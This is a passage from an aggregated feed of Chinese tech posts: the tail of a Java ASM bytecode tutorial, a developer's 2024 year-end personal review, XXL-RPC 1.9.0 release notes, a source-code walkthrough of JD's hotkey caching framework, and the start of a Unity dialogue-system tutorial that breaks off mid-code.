原始类型的描述符是单个字符:Z表示布尔值,C表示字符,B表示字节,S表示短整型,I表示整数,F表示浮点型,J表示长整型,D表示双精度型。类类型的描述符是该类的内部名称,以L开头,后跟分号(例如java.lang.String的类型描述符是Ljava/lang/String;)。类型描述符在JNI同样适用。

方法描述符

方法描述符是一系列类型描述符,它们以单个字符串的形式描述方法的参数类型和返回类型。方法描述符以左括号开头,后跟每个形式参数的类型描述符,后跟右括号,后跟返回类型的类型描述符,如果方法返回void(方法描述符不包含方法的名称或参数名称),则为V。

image.png 例如上面第一行例子,void m(int i, float f)的方法描述符是(IF)V,省略方法的名称和参数的名称。于此同时,方法的参数列表在前面,参数用括号包围,方法的返回值在括号的外面。方法的描述符的参数和返回值的数据与Kotlin方法声明的顺序是一致的,而Java方法声明的顺序不太一致。

ASM核心组件

ASM基于ClassVisitorAPI 提供了三个核心组件来生成和转换类:

  • ClassReader类解析以字节数组形式给出的已编译类,并在作为参数传递给其accept方法ClassVisitor 实例上调用相应的visitXxx方法。它可以被视为事件生成器。
  • ClassWriter类是ClassVisitor抽象类的子类,它直接以二进制形式构建已编译的类。它生成一个包含已编译类的字节数组作为输出,可以使用toByteArray方法检索该数组。它可以被视为事件消费者。
  • ClassVisitor类将其收到的所有方法调用委托给另一个ClassVisitor实例。它可以看作是一个事件过滤器。

生成类

ClassVisitor类的方法必须按照以下顺序调用,该顺序在此类的Javadoc中指定:

image.png

这意味着必须首先调用visit,然后最多调用一次visitSource,然后最多调用一次visitOuterClass,然后以任意顺序调用任意次数visitAnnotation和visitAttribute,然后以任意顺序调用任意次数visitInnerClass、visitField和visitMethod,最后以一次visitEnd调用结束。类的生成顺序,示例代码如下:

     val cw: ClassWriter = ClassWriter(0)
     cw.visit(
         V1_8, ACC_PUBLIC + ACC_ABSTRACT + ACC_INTERFACE,
         "org/exmple/Comparable", null, "java/lang/Object",
         null
     )
     cw.visitField(
         ACC_PUBLIC + ACC_FINAL + ACC_STATIC, "LESS", "I",
         null, -1
     ).visitEnd()
     cw.visitField(
         ACC_PUBLIC + ACC_FINAL + ACC_STATIC, "EQUAL", "I",
         null, 0
     ).visitEnd()
     cw.visitField(
         ACC_PUBLIC + ACC_FINAL + ACC_STATIC, "GREATER", "I",
         null, 1
     ).visitEnd()
     cw.visitMethod(
         ACC_PUBLIC + ACC_ABSTRACT, "compareTo",
         "(Ljava/lang/Object;)I", null, null
     ).visitEnd()
     cw.visitEnd()
     val b: ByteArray = cw.toByteArray()

ASM开胃菜

ASM的学习曲线相对较陡峭,因为它直接操作字节码,需要大量的字节码知识和相关的JVM虚拟机的执行,需要对Java虚拟机的工作原理有一定了解。但一旦掌握,ASM能为开发者提供极大的灵活性和性能优势。中文翻译的水平和译者的水平有很大关系,我个人还是推荐查阅ASM的官方文档和示例代码以加深理解。

参考资源

ASM官网:asm.ow2.io/

by 技术蔡蔡 at January 25, 2025 12:33 AM

juejin article

2024年终总结——毕业、工作、旅游、自媒体、钓鱼、足球~~~

2024年终总结

写在前面

偶尔打开QQ,看着那些曾经发过的中二说说和留言板,嘴角不自觉地上扬。往往我们站在现在的角度回望,觉得当时的自己很幼稚,但也无比美好。那时的自己,正是如今最珍贵的回忆。也许在未来某一天,当我再次翻开这篇博客,看到那个刚毕业的2024年的自己,我也会不禁感慨万千吧。于是,决定在这里记录下我的2024年,作为对过去和未来的纪念。

落笔已经是2025年1月10号23点40分,原本打算在元旦前写完并发布,但是总是一拖再拖,今天终于决定不能再拖下去了,于是先写下这一段开头。元旦没赶上,那就趁着农历新年之前发布吧。

在这里,也送上我的祝福,希望大家在2025,在以后的每一年、每一天都健康快乐,心怀阳光,勇敢前行🛫🛫🛫。

毕业

2024年5月25日答辩顺利结束,标志着研究生3年正式结束,也意味着长达19年的学生生涯至此告一个段落了。回顾这3年,尝尝会在脑子出现这样的一个念头:读研三年,是否后悔? 我想很多人也有类似的疑问,我也听到很多不同的答案,对于我来说,用两个字总结,那就是值得。因为在这里,我遇到了很好的导师和真挚的朋友,学到了丰富的知识,参与了各种各样的活动<semantics><annotation encoding="application/x-tex">\cdots \cdots</annotation></semantics>⋯⋯

研一,应该是我学习状态最好的一年。除了每天学校安排的课程外,就是自己看各种论文和博客。基本所有时间都泡在实验室,当时还会因为晚起了一会而产生满满的负罪感,现在想想真佩服当时的自己(可能也是当时疫情在校无事可做叭,偷偷狡辩,不是内卷😬😬😬)。研一下,印象比较深的是我和两个同门头铁的选择了五门数学相关的课程(最优化理论、应用随机过程、矩阵分析、凸优化理论、泛函分析),然后每天都有做不完的课后作业,草稿把我工位的抽屉都堆满了,那段时间确实挺痛苦的,好在最后的结果还不错,期末拿了不错的成绩。🍀🍀🍀

研二和研三,平淡而充实的时光。研一已经有了一些基础,研二研三开始和老师后面做一些小项目,写专利、写论文、参加比赛等等,这大概是大多数研究生都会经历的阶段叭。研三的时候实习了两次。由于需要在校,第一次实习是线上运营工作,主要负责寻找优质的博客和博主,并在奥比中光的公众号、知乎、CSDN等平台上发布他们的内容。当时找这份实习主要是想倒逼自己看更多博客,扩充自己的知识面。实际上效果也基本达到,但是有一说一,有时候确实是有点累的。🍄🍄🍄第二份实习是成都的一家公司,主要做人体姿态估计,那段时间,学到了很多新东西,没有加班的压力,过的还是蛮不错的。唯一的小困扰就是,同事们说着非常快的成都话,我确实听不太清楚哈哈。🍍🍍🍍

在学校,最让我喜欢的一点是可以随时踢球,校园简直是踢球爱好者的天堂🥗🥗🥗基本上能保持一周能踢1到2次,踢完洗澡躺床上刷手机的感觉不要太爽。3年,自己也刚好混齐了金、银、铜牌,打开行李箱准备展示战绩,不是,我的牌子呢???😭😭😭

毕业的事就聊到这里啦,其实还有很多点点滴滴,有的在别的地方已经记录,这里就大致聊聊这些叭。【快过年了,哪还有心思写这玩意🧨🧨🧨】

工作

学生时代落幕,正式踏入职场。2024年6月24号,正式来公司报到,刚来有些紧张,办理好入职手续来到自己的工位,部长一一介绍了同事们,我努力记住名字但根本记不住哈哈。后面刚好有一个周例会,正好参加。听着同事们的汇报我紧张的心慢慢平复下来,因为感觉整个团队氛围很轻松、很和谐。在公司熟悉了两周后,我被安排负责一个模型板端部署的任务,由于任务需要用到C++,而我没有C++基础,所以那段时间都是边学边做,晚上下班回去也疯狂的补C++的知识。好在有一个同事带,有不懂的我就问,他也耐心的解答。这里特别感谢一下这位同事,而且特别佩服的是我问的问题他总能找出一些关键点或给出一些思路,有种让我茅塞顿开的感觉。当然了,后续的一些工作内容也基本都和其他同事和领导有过交集,他们对于我这个新兵蛋子也很照顾,也给了很多帮助。总之,非常荣幸能加入这个团队,非常感谢每一个帮助过我的人。

公司工作外的一些运动俱乐部也挺多的,羽毛球、篮球、乒乓球、台球等等,基本都体验过,只可惜没有足球。最近刚好有年终比赛,自己报名了王者荣耀、台球和跳绳。目前王者荣耀止步6强,台球进入了下一轮,跳绳还没开始比。今年估计是很难拿到奖牌了,明年必拿下(气势不能输🛴🛴🛴)明年计划拾起7年级打过的篮球,去篮球场混混,毕竟不踢球的时候可以在公司打打篮球也是蛮不错的。

旅游

刚好高德有年终报告,直接拿过来用啦~~~

image-20250119190308918

其实我个人对旅游是相对无感的,因为我感觉很多地方都是类似的。大多都是去各种景点拍照打卡,网红小吃街吃点东西,或者是一些有文化底蕴的景点,但是自己实在是不懂其中文化,只能看个热闹,难以融入进去。

但是现在我还是有一些比较想去的地方,首先就是北京,还是想看一看天安门广场的升旗;剩下的就是去青海西藏这些西北地区,想感受一下美妙的自然风光,我想在那里,只是静静的坐着,也是一种享受叭。🌴🌴🌴

下面就随便贴几张旅游的照片叭。~~~

大连

呆了3年的地方,可惜还是没有赶上一次海~~~🍵🍵🍵

image-20250120201402239

成都

成都好吃的确实挺多的,火锅一绝~~~🍭🍭🍭

image-20250120201605339

西安

玩了一周左右,有文化但看不懂~~~🍋🍋🍋

image-20250120202821838

image-20250120202831705

洛阳

呆了两三天,没咋玩,主要和朋友聚聚~~~🍚🍚🍚

image-20250120203259209

杭州

趁着周末,和朋友逛了逛西湖和灵隐寺~~~🍍🍍🍍

image-20250120203817254

合肥

去了一趟罍街,和自己很久之前印像中的不一样了,要说合肥去的最多的地方,除了公司,那一定就是球场了~~~

image-20250120204801068

【小红书盗图,原来自己是在这样的环境踢的球🥂🥂🥂】

自媒体

这里就大致统计一下一年来主流平台的一些数据叭~~~🍷🍷🍷

掘金

上班后,感觉自己写博客的热情直接被浇灭了,回去就想美美的躺着,刷会手机、看会动漫,学不了一点,更写不了一点。🛌🛌🛌

今年一年只更新了9篇博客,实在写不动哇,9篇博客的收益大概4000+,感兴趣的可以去我主页看看喔~~~

掘金主页✨✨✨

image-20250120223338735

掘金的数据好像一直相对较低,主要也是可能人工智能相关的掘友相对比较少,数据如下:

image-20250120223632522

比较开心的一点是一个深度学习专栏的订阅人数还是可以的【我认为不错了,当然和前端的专栏订阅数没法比】

image-20250120223707634

CSDN

C站其实很久没有同步博客了,都是让其自然生长,数据如下:

image-20250120224056048

知乎

发的比较少,20多篇,主要是知乎编辑器对markdown语法支持比较差,就懒的发了,但是我也测试了挺多markdown笔记同步知乎的方法,从我的角度来看,借助墨滴这个平台进行同步还是可以的,如果大家没有好的方法,可以点击链接去试试~~~🧅🧅🧅

知乎的数据如下:

image-20250122202902857

火山引擎

这个平台没有发很多的博客,就是参与了一些活动,今年获得了520(非常好的数字)的京东E卡,还拿到了一个小抱枕。

image-20250120224624201

image-20250120224633798

B站

B站主要发了两波视频,大概13个左右,都是前两年寒假在家录制的,后面在学校由于场地原因就没有录制了,两次是两个专题,都没有完结,后面有时间慢慢的来补坑叭(画饼)~~~🎄🎄🎄

image-20250120225044392

从发布视频的数据和观众的评论来看,其实反响还是不错的,后面真的会考虑更新(真诚🤞🤞🤞)。

还有一个比较有意思是B站最喜爱的UP主,好巧不巧刚好观看了1024分钟,这很程序员。

image-20250120225628726

他主要以访谈交流的形式对话各种职业的人,从中你可能会得到一些看问题的不同角度,感兴趣的可以去看看喔~~~🎨🎨🎨

微信公众号

这个我就是在瞎搞了,当时是想在公众号上搭建扣子的,于是年初注册了一个,随便发了几个视频上去,没错,发的竟然是视频,很少见😭

image-20250120231734073

一年过去了,大概有100个粉丝关注,0个原创内容😂

image-20250120231819119

后面会考虑陆陆续续把博客同步到公众号上,一步一步来吧,佛系更新。🌵🌵🌵

其它

这里谈谈自己玩过的一些应用叭~~~

年初的时候扣子国内版发布了,当时就立马去玩了玩,还注册了微信公众号,没想到只能发布到服务号上,于是后面只能用扣子国际版在TG上发布了一个智能体,当时感觉还是很有意思的。后面还买了扣子相关的课程来学习,但是没有一些好的想法,也就一直没有实际操作过了,后续要是有一些好的思路,可以搭建一个玩玩。很神奇的是不知道柜子里怎么多了一件扣子的短袖,一点印象都没有了。

image-20250120233026159

今年还玩过一些AI绘画,但是都是很基础的一些操作,主要电脑也带不动,明年考虑换电脑,可以学习一些相关的课程,做一些新的尝试。🍗🍗🍗

钓鱼

今年掉了几次鱼,感觉还挺有意思的~~~🐟🐟🐟

image-20250121193012003

主要掉了两条翘嘴,其它的都是一些小鱼。今年也新买了鱼竿,准备过年回家大干一场。🍉🍉🍉

image-20250121193137615

足球

上班后,依旧能坚持踢球,依然热爱足球,真是一件美妙的事~~~🍦🍦🍦

在这里,在合肥,在水平有限俱乐部踢⚽⚽⚽。不得不说,水平有限真的好,谁踢谁知道!!!要是有合肥的同志,有热爱踢球的同志,可以联系我,一起来踢球喔~~~🍓🍓🍓

元旦是在水平有限过的~~~

image-20250121194055725

参与了很多场活动了,每场都很开心~~~

image-20250121194356924

还参加了一场竞技场,拿下了第一名,获得赞助商趣酒馆的免费酒水服务,和队友一起去体验了下,很赞~~~😊😊😊image-20250121194923584

球场都有监控,这是在学校踢球不能比的,所以也记录了一些精彩时刻,如下:

下班一起来踢球吧⚽⚽⚽

一起踢球叭原声⚽⚽⚽

一起踢球叭——助攻合集⚽⚽⚽

前两期是进球,第3期是助攻,最近正在整理过人素材,准备再更一期哈哈哈。💐💐💐

遗憾

都说不如意事常八九,虽说在我看来有些许夸张,但遗憾总是有的。不过我想,不要为一时的所失感到懊恼,更不要美化那些未曾走过的路,也许都是最好的安排。前路未知,让我们一起保持从容勇敢,保持阳光乐观,我们的每一步,都会通往属于我们独有的风景。

最后唠唠

一年有太多太多的瞬间,这里只是简单的列出了一些。其实还有很多可以写,但是有点想躺床上刷手机了,所以就到这里叭哈哈~~~🌿🌿🌿

最后,感谢这么多年所有帮助过我的人,i人属实当面有点说不来,就在这里送上我最诚挚的谢意叭~~~🌼🌼🌼

by 秃头小苏 at January 25, 2025 12:25 AM

oschina news project

XXL-RPC v1.9.0 | RPC 服务框架

Release Notes

  • 1、【优化】服务底层代码重构优化,精简依赖、减少依赖包体;
  • 2、【调整】内置注册中心XxlRpcRegister(xxl-rpc-admin)迁移,整合至XXL-CONF:
  • 3、【调整】服务注册中心逻辑调整,借助 XXL-CONF 的OpenApi 实现 动态服务注册与发现;
  • 4、【优化】优化获取本地IP地址逻辑,调整了获取本地地址顺序;
  • 5、【升级】多个项目依赖升级至较新稳定版本;

XXL- RPC 快速接入示例

代码参考github仓库 /test 目录:github.com/xuxueli/xxl…

1、服务注册中心搭建:一行命令启动注册中心,一站式提供服务动态注册发现能力。

基于 XXL-CONF 搭建 “轻量级注册中心”:一行命令启动注册中心,一站式提供服务动态注册发现能力。

img_12.png

2、XXL-PRC 接入配置:与 Spring 无缝集成,也支持无框架接入。

XxlRpcSpringFactory factory = new XxlRpcSpringFactory();
factory.setBaseConfig(new BaseConfig(env, appname));
factory.setRegister(new XxlRpcRegister(address, accesstoken));
factory.setInvokerConfig(new InvokerConfig(invokerOpen));
factory.setProviderConfig(providerOpen ?
        new ProviderConfig(
                NettyServer.class,
                JsonbSerializer.class,
                port,
                corePoolSize,
                maxPoolSize,
                null) : new ProviderConfig(providerOpen));

经过上述 2 步,已完成全部配置工作,可以直接展开业务编码工作。

3、业务代码开发:

  • 3.1、接口定义代码:
public interface DemoService {

  public UserDTO load(String name);
  
}
  • 3.2、服务端代码:
    注解式,一行代码将现有接口转换成 XXL-RPC 服务。
@XxlRpcService
@Service
public class DemoServiceImpl implements DemoService {

  @Override
  public UserDTO load(String name) {
    return new UserDTO("jack", "hello world");
  }

}
  • 3.3、调用端代码:
    注解式,一行代码引入 XXL- RPC 服务。

@XxlRpcReference(appname = "app01")
private DemoService demoService;

... 
UserDTO userDTO = demoService.sayHi(name);
 
简介

XXL-RPC 是一个RPC服务框架,提供一站式服务通信及运营能力。拥有“轻量级、高性能、负载均衡、故障容错、安全性、注册发现、服务治理”等分布式特性。现已开放源代码,开箱即用。

img_DNq6.png

特性

  • 1、易学易用:无缝集成SpringBoot,三分钟即可上手;
  • 2、服务透明:系统完整的封装了底层通信细节,开发时调用远程服务就像调用本地服务,在提供远程调用能力时不损失本地调用的语义简洁性;
  • 3、多调用类型:支持多种调用类型,包括:SYNC、ONEWAY、FUTURE、CALLBACK 等;
  • 4、多通讯协议:支持多种通讯协议,支持TCP、HTTP;
  • 5、多序列化方案:支持多种序列化协议,包括:HESSIAN/2、HESSIAN1、Gson、PROTOSTUFF、KRYO 等序列化方案;
  • 6、注册中心:内置服务注册中心支持服务动态发现,提供轻量级、一站式解决方案。也支持扩展集成其他注册中心,或者不使用注册中心、直接指定服务提供方机器地址调用;
  • 7、负载均衡:支持多种负载均衡策略,包括:轮询、随机、LRU、LFU、一致性HASH等;
  • 8、服务治理:提供服务治理能力,支持在线管理注册的服务信息,如服务锁定、IP禁用……等;
  • 9、服务监控:支持在线监控服务调用统计信息以及服务健康状况等(计划中);
  • 10、故障容错:支持自动巡检线上服务并摘除故障节点,消费方实时感知并移除失效节点将流量分发到其余节点,提高系统容错能力。
  • 11、高兼容性:得益于优良的兼容性与模块化设计,不限制技术栈;除 spring/springboot 技术栈之外,理论上支持运行在任何Java代码中,甚至main方法直接启动运行;
  • 12、泛化调用:支持服务调用方直接发起服务调用,不依赖服务方提供的API;
  • 13、服务安全:支持序列化安全空间机制,以及通讯token加密机制;

by 来源: 投稿 at January 25, 2025 12:13 AM

January 24, 2025

juejin backend

京东用来解决热key问题的JD-hotkey框架有多牛逼?无需质疑,战绩可查!

大家好,我是程序员牛肉

最近在捣鼓我们公司内部的高性能缓存中间件Squirrel。在看相关解决热key问题文档的时候,突然想到了京东的JD-hotkey框架。这玩意可算是名声在外了,号称能够解决海量激增QPS压塌服务层的问题。

而其也在一次次的京东双十一网购热潮中完美的抗下了压力,该框架的含金量不言而喻。因此我们今天来向大家介绍一下这个框架。

图片

先说说这个框架是干什么的吧。我们可以设想这样一个场景:在购物网站中我们可能会用redis来存一些排行榜上的商品。但是此时由于该商品进行了优惠力度比较大的减免,成为了一个“爆品”,再加上平台的大量推流,每秒瞬间引入了数百万的请求量。

这数百万的请求打到Redis的同一个键上,使其瞬间成为了一个热key。这种极短时间窗口内的海量流量直接给其所在的redis集群干瘫痪了。而且这种流量又是突发顺时流量,也就是在一天中也就那几秒的流量高峰。为了这几秒的流量高峰去对整个系统做扩充也不太划算。

图片

而且这玩意不仅仅是你的存储层扛不住,甚至连你的应用层tomcat也扛不出。海量的请求会导致你的tomcat运行缓慢,降低并发效率。

这这种情况其实在业内有一个专业的名词:热key问题。在实际案例中哪些是热key呢?这个框架的作者给了我们一些标准:

图片

而目前主流的统计热key思路也就以下几种:

方法一:凭借业务经验,进行预估 其实这个方法还是挺有可行性的。比如某商品在做秒杀,那这个商品的key就可以判断出是热key。缺点很明显,并非所有业务都能预估出哪些key是热key。

方法二:在客户端进行收集 这个方式就是在操作redis之前,加入一行代码进行数据统计。那么这个数据统计的方式有很多种,也可以是给外部的通讯系统发送一个通知信息。缺点就是对客户端代码造成入侵。

方法三:在Proxy层做收集 有些集群架构是下面这样的,Proxy可以是Twemproxy,是统一的入口。可以在Proxy层做收集上报,但是缺点很明显,并非所有的redis集群架构都有proxy。

图片

方法四:用Redis自带命令: (1)monitor命令,该命令可以实时抓取出redis服务器接收到的命令,然后写代码统计出热key是啥。当然,也有现成的分析工具可以给你使用,比如redis-faina。但是该命令在高并发的条件下,有内存暴增的隐患,还会降低redis的性能。

(2)hotkeys参数,redis 4.0.3提供了redis-cli的热点key发现功能,执行redis-cli时加上–hotkeys选项即可。但是该参数在执行的时候,如果key比较多,执行起来比较慢。

方法五:自己抓包评估 有Redis客户端采用TCP协议与服务端进行交互,通信协议采用的是RESP,自己写程序监听端口进行分析就完事了。

已老实,这也太麻烦了。难道就没有一个现成的工具能让我们使用来实时检测热key嘛?

此时金光闪闪的京东告诉你:有的,我们已经帮你解决这个问题了。而这就是我们今天要介绍的框架:JD-hotkey

京东自研的 JD-hotkey 框架是专为应对京东 APP 后台的高并发场景而设计的,用于探测和处理热数据。该框架能实时探测和处理大量的热键(hotkey),在毫秒级别内检测出热点数据。主要用于捕获爬虫、刷子用户和热门商品请求,并将这些热键毫秒级推送到各个服务端内存中,从而减少对数据层(如 Redis、MySQL)的查询压力,提升应用性能。JD-hotkey 支持对热商品进行本地缓存、对热用户进行访问拒绝、对热接口进行熔断等操作。

这玩意有多厉害?我只能说:无需质疑,战绩可查。以下内容截取自对应代码仓库的ReadME文件。

图片

该项目已开源,对应的项目地址为:

gitee.com/jd-platform…

对应代码仓库

首先我们要明确一点:JD-hotkey解决热key问题的底层逻辑是找出热key之后将其推到对应的JVM中。这样重复请求的时候直接从JVM就可以获取数据,无需再与redis进行通信。

图片

而从技术角度看的话,该框架的整体架构为:

图片

其各个组成部分的作用为:

1 etcd集群(相当于是整个框架的注册中心和配置中心)

    etcd作为一个高性能的配置中心,可以以极小的资源占用,提供高效的监听订阅服务。主要用于存放规则配置,各worker的ip地址,以及探测出的热key、手工添加的热key等。

[这玩意当ZooKeeper看就好,而该服务框架中之所以不使用Zookeeper是因为在高并发压力下,etcd的稳定性要比Zookeeper更好]

2 client端jar包

    就是在服务中添加的引用jar,引入后,就可以以便捷的方式去判断某key是否热key。同时,该jar完成了key上报、监听etcd里的rule变化、worker信息变化、热key变化,对热key进行本地caffeine缓存等。

3 worker端集群

    worker端是一个独立部署的Java程序,启动后会连接etcd,并定期上报自己的ip信息,供client端获取地址并进行长连接。之后,主要就是对各个client发来的待测key进行累加计算,当达到etcd里设定的rule阈值后,将热key推送到各个client。

4 dashboard控制台

    控制台是一个带可视化界面的Java程序,也是连接到etcd,之后在控制台设置各个APP的key规则,譬如2秒20次算热。然后当worker探测出来热key后,会将key发往etcd,dashboard也会监听热key信息,进行入库保存记录。同时,dashboard也可以手工添加、删除热key,供各个client端监听。

这个框架的工作流程大致可以被描述为:

  • 客户端通过引用hotkey的client包,在启动的时候上报自己的信息给worker,同时和worker之间建立长连接。定时拉取配置中心上面的规则信息和worker集群信息。
  • 客户端调用hotkey的ishot()的方法来首先匹配规则,然后统计是不是热key。
  • 通过定时任务把热key数据上传到worker节点。
  • worker集群在收取到所有关于这个key的数据以后(因为通过hash来决定key 上传到哪个worker的,所以同一个key只会在同一个worker节点上),在和定义的规则进行匹配后判断是不是热key,如果是则推送给客户端,完成本地缓存。

[这么听有点绕,用大白话讲就是 客户端通过持有hotkey的client包来定期给worker上报他自己内部访问的比较频繁的key(认定规则是从ETCD集群中拉取的)。而worker会以一个滑动窗口的时间来记录这些key在一定时间内的总访问次数。如果总访问次数超出我们对于热key的配置规则的话,worker就会尝试将这个热key直接推送到对应的JVM中。这样下次请求就不需要访问redis了,而是直接从自己的JVM中获取。]

而所谓的推到JVM中其实也是基于Spring Caffeine去做的。不了解的可以先学一学这个缓存库

图片

[Caffeine 是一个高性能的 Java 缓存库,旨在提供快速、灵活和高效的缓存解决方案。它是 Guava Cache 的一个替代品,提供了更高的性能和更多的功能。]

接下来我们继续看一看在这个框架中一些比较重要的源码,看懂他们将有利于你更加熟练的掌握这个框架:

Worker端:

当一个worker启动之后,就会开启很多监听器来监听dashboard中的各种配置。比如监听热key配置规则:

图片

当监听到热key的rule规则更改之后,我们调用了ruleChange方法来更新rule。点进这个方法:

图片

可以发现他在获取到对应的appname和rule之后,将其放到了KeyRuleHolder中。这个类是用来存储各个app的rule信息的一个类,那为什么对rule进行更改只是需要将其放到KeyRuleHolder中呢?

不看源码,先推测。既然我们在前面讲架构的时候就已经讲过了这些rule要在client端中用到来判断热key。那么client端肯定就要有监听这个类的方法。

让我们去看看client的Starter类,就可以看到这样一个方法:

图片

歪日,这不就串起来了。原来client端用了EventBus来监听Rule的变化事件,通过这种手段就实现了Client端的实时感知配置规则。

在这里再顺手简单的讲一下什么是evenbus。大家可以将其类比与MQ。不过MQ是跨进程(JVM)通信,而eventbus是在一个进程(JVM)内通信。

图片

[EventBus 是一种基于发布-订阅模式的事件总线框架,广泛用于实现应用程序中各个组件之间的解耦和异步通信。EventBus 的主要功能是通过事件驱动的方式,实现组件之间的消息传递和处理。]

除此之外,worker最核心的 基于滑动窗口统计热key 相关代码 也要看一下

图片

当我们尝试构造一个滑动窗口类的时候,会触发它的默认构造方法:

图片

上面这段代码其实就是在构造滑动窗口长度。需要注意的是,我们可以看见这里竟然有两个窗口。为什么需要两个窗口呢?

图片

我们可以认为这个timeSlinceSize数组在逻辑上是环形的,所以我们在计算当前时间片的位置的时候才需要进行取余的操作:

图片

让我们回归正题:为什么要有两个时间片?核心原因还是因为我们对于时间窗口的可用性要求比较高。通过交替使用两个窗口,可以在一个窗口进行数据写入的同时,另一个窗口进行数据读取和清理,确保读写操作互不干扰,从而提高系统的并发处理能力和性能。

所以我们可以看到在addcount的时候,是需要计算当前可用的时间窗口的:

图片

留心一下这种设计,后面我们还会遇到的。而这个滑动窗口类主要被用在worker中的keylistener中用来计算热键阈值。

图片

这段代码就是计算hotkey的相关代码。他从cache中取出相关的热key,计算访问次数之后判断当前key是否还是热key,如果是的话,就更新一下过期时间。如果已经不是热key了就删除该缓存,并且将其推送到client中。

而在这一过程中其实是有线程安全问题的:所有的线程进来之后最后要更新key的热值的话,都会走到KeyListener中的addcount方法。

多个线程如果操作的是同一个key的话,就会获取到同一个时间片进行累加

图片

因为存在线程安全问题,所以我们手动的给这个方法加了锁。但比如阈值是10的话,两个线程携带同一个key之后进入同一个时间片,而此时恰巧两次addcount都超出阈值了,回到newkey中,就会导致client端被推送了两次热key。

而第二次本来应该是存储在下一个时间片中,作为累计来统计hotkey阈值的。也就是说这种bug在一定程度上会导致我们的worker在统计热key的时候少计算一部分。

不过作者在相关的代码注释中给我们关于这个问题的回答:

图片

简单的讲就是:作者认为这种概率实在是太小了,而且热key的热度一定是很高的,我们就算是丢失几次次数也没有多大的影响。相比之下如果为了这种线程安全问题直接给滑动窗口加锁的话,所带来的性能开销要大得多。

看完了worker中的一些代码,我们在再来看一看client端的:

先看一看client和worker的交互吧:

client每0.5秒会向worker中推一次待测试的key:

图片

每10秒会向worker推送一次数量统计:

图片

这样做的核心目的是为了减少与worker端的交互次数,减轻worker端的压力。那么既然是间隔和worker交互的,client端就一定会有一个设计来临时存储需要发送给worker的key和数量统计。

我们可以先看看client端对key进行统计的:

图片

迎面而来就是两个ConcurrentHashMap,我们先不看这个玩意,继续往下看。这个类中包含了两个方法,分别是收集key以及上报key:

收集key:

图片

上报key:

图片

上报key这个方法主要就在我们上面提到的每10秒会向worker推送一次数量统计中被调用:

图片

让我们回归正题:为什么要有两个ConcurrentHashMap呢?一个ConcurrentHashMap还满足不了这个操作吗?

我们可以设想这样一个场景:如果只有一个CurrentHashMap,那么在向Worker推送消息的时候,实际上是没有办法进行写操作的。

而我们通过使用两个ConcurrentHasMap就实现了读写分离。在上报A中的key的时候,你就先往B写。当上报B里面的key的时候,你就先往A里面写。

此时你在回头看一看刚才那个timeSliceSize:

图片

我们再来详细的从代码层面看一看这块是怎么实现读写分离的:

图片

在cllect阶段,我们会对atomicLong值进行计算,如果是偶数就使用map0,如果是奇数就使用map1来存储对应的key。

而在上报阶段:

图片

我们先对atomicLong进行了加1的操作,导致这个数字的奇偶性逆转。此时如果是偶数的话,我们就上报map1。如果是奇数,我们就上报map2。

为了防止这块的逻辑绕住你,我来举一个例子:假设此时的atomic值为1。在collect的时候为奇数,就会将key存放在map1中。

在上报阶段,由于我们先对这个数进行了自增,导致现在atomic值为2。在上报的时候为偶数,我们就会选择map1上报。

但是新的key在调用collect存放的时候,由于现在已经是2了,就会导致其被存放到map0中。

通过这种方法我们就使用两个currentHashmap完成了对key的读写分离。而其实在统计数量的时候也是同理:

图片

[这里直接给初始空间设置为了512,避免了频繁扩容导致的性能损耗]

除此之外,当我们的client端尝试上报key和count给worker的时候,就会涉及到网络通信。网络通信中就需要将这些消息进行序列化发送,而为了提高性能,这个框架在序列化的时候并没有使用我们熟悉的FastJson进行序列化,而是采用了Protobuf。

图片

这玩意的性能要高的多,现在比较热门的GO语言序列化底层就是用Protobuf做的。

[Protobuf,全称为 Protocol Buffers,是由 Google 开发的一种高效的、跨语言的序列化数据格式。它被广泛应用于数据存储、通信协议和 RPC(远程过程调用)等场景。Protobuf 的主要优点包括高效、灵活和跨平台。]

今天这篇就先写到这里吧。这一篇主要讲了JD-hotkey中一些比较重要的源码,后面我会再出一篇讲一讲hotkey的整体流程。希望我的文章可以帮到你。

关于hotkey的检测问题,你还有什么想说的吗?欢迎在评论区留言。

关注我,带你了解更多计算机干货!

19ae0dc40b60c8d75dd22f42156665e.jpg

by 程序员牛肉 at January 24, 2025 11:31 PM

juejin frontend

构建互动叙事:在Unity中打造简易对话系统

1.简介

对话系统在大量游戏都会出现,如何实现一个简易的对话系统呢?本教程将会逐步实现。

image.png

1.1 功能

  1. 对话面板由左侧说话人头像和右侧对话内容组成。
  2. 点击“D”键开始对话,显示对话面板。
  3. 点击“N”键显示下一句对话,对话会逐字输出,当前对话未输出完,再点击“N”键即可快速显示当前对话。
  4. 对话完成后,对话面板自动隐藏。

1.2 知识点

  1. UGUI:Unity游戏界面制作。
  2. TextAsset:文本资源。
  3. 协程:实现逐字输出。

2.UI制作

image.png

image.png

image.png

image.png

3.素材导入

image.png

唐僧
悟空,为何停下脚步?
孙悟空
师父,前方有妖气!
唐僧
你如何知晓?
孙悟空
老孙火眼金睛,能看六百里。前方山坳有妖怪埋伏。
唐僧
那我们还是绕道而行吧。
孙悟空
不妨事,让老孙去教训他们一番。
唐僧
切记不可伤人性命!
孙悟空
放心吧师父,老孙只吓唬他们一下。
唐僧
你这猴头,只要懂得慈悲为怀就好...
孙悟空
弟子明白,定不会过分。

4.读取文档文件

新建脚本“DialoguePanel.cs”挂载到组件“DialoguePanel”面板上

image.png

获取组件、文件

image.png

using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;

public class DialoguePanel : MonoBehaviour
{
    [Header("UI组件")]
    public Image faceImage;//头像图片
    public Text dialogueText;//对话文本

    [Header("文本文件相关")]
    public TextAsset textFile;//文本文件

    // Start is called before the first frame update
    void Start()
    {
        
    }

    // Update is called once per frame
    void Update()
    {
        
    }
}

输出文本

using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;

public class DialoguePanel : MonoBehaviour
{
    [Header("UI组件")]
    public Image faceImage;//头像图片
    public Text dialogueText;//对话文本

    [Header("文本文件相关")]
    public TextAsset textFile;//文本文件

    int lineIndex;//文本行序号,默认为0
    string[] textLines;//文本行列表

    // Start is called before the first frame update
    void Start()
    {
        lineIndex = 0;

        LoadText();
        ShowText();
    }

    // Update is called once per frame
    void Update()
    {
        //点击N输出文本
        if (Input.GetKeyDown(KeyCode.N))
        {
            //超出长度索引归零,隐藏对话面板
            if (lineIndex >= textLines.Length)
            {
                lineIndex = 0;
                gameObject.SetActive(false);
                return;
            }

            ShowText();
        }
    }

    /// <summary>
    /// 载入文本
    /// </summary>
    void LoadText()
    {
